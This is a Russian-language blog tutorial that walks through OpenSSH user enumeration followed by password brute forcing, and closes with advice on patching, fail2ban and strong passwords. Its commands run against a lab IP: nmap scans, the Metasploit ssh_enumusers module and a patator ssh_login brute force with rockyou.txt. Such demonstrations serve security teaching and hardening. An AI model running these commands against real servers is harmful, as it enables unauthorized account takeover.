SSH перечисление пользователей с последующим перебором

Весьма популярная уязвимость OpenSSH серверов связана с так называемым “перечислением” пользователей (user enumeration). Связана она с тем, что процедура проверки пароля существующего и не существующего пользователя выполняется за различное время. И разница эта достаточна для фиксации машинными методами.

Вероятно разработчики задумывали это не как баг, а как фичу, ведь если пользователь с указанным именем вообще не существует, зачем проверять пароль и тратить процессорное время на ненужные криптографические преобразования? Можно просто “отбиться” с результатом – “неверно”. Но атакующая сторона это смогла использовать в своих интересах. Если ставить список (словарь) популярных имён пользователей, то можно по нему провести так называемую энумерацию и выделить новые цели для атаки.

Ход атаки

Продемонстрирую данную атаку в деле:

Разведка сервера

До банального просто. Сканируем узел в поиске SSH-сервиса. Причём можно выполнить сперва базовое сканирование:

$ nmap -p- 192.168.0.112

для поиска всех отвечающих TCP-портов. А затем уже прогнать определение версии сервиса для интересующих. Нам повезло – SSH висит на стандартном порту.

$ nmap -p 22 -sV -sC 192.168.0.112

покажет нам версию конкретно SSH-сервера и выполнит стандартные для этой службы скрипты – в частности получение слепка ключа.

Перечисление имён пользователей

Запускаем Metasploit

$ msfconsole

и выполним там поиск модуля по интересующим ключевым словам:

msf6> search ssh enum

Среди всего перечисленного нам подходит #3. Используем его:

msf6> use 3

Заполним остальные опции:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 192.168.0.112

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt

Вы можете использовать произвольный словарь – простой текстовый файлик, где каждый логин – отдельная строка. Запускам модуль:

Перечислено много пользователей, но стандартные сервисные нам неинтересы – скорее всего войти интерактивно под ними нам не удастся всё равно. Поэтому отберём только те, которые выглядят как обычные, человеческие логины.

Атака перебором

Для атаки я предпочитаю использовать patator

$ patator ssh_login host=192.168.0.112 user=litladmin password=FILE0 0=/usr/share/wordlists/rockyou.txt

Синтаксис затруднений не вызывает, думаю.

После непродолжительной атаки (если повезёт и если не стоит блокировка от перебора) мы увидим сообщение в виде баннера SSH. Значит пароль подошёл!

Вот так за пару минут всё это может и сработать.

Указанная уязвимость существовала предположительно до версии 7.7 OpenSSH сервера. Так что проверяйте, обновляйтесь!

А вот и демо-видео

Демо видео

Как защититься

  1. Прежде всего – пропатчить свой SSH, чтобы сделать невозможной перечисление пользователей.
  2. Использовать несловарные логины пользователей, которым разрешён интерактивный вход по SSH (например тот же ssh90_user лучше, чем просто user).
  3. Использовать fail2ban для предотвращения атаки методом перебора.
  4. Использовать сложные, несловарные пароли.
Интересно? Поделись с другом
Litl-Admin.ru

Comments:

Leave a Reply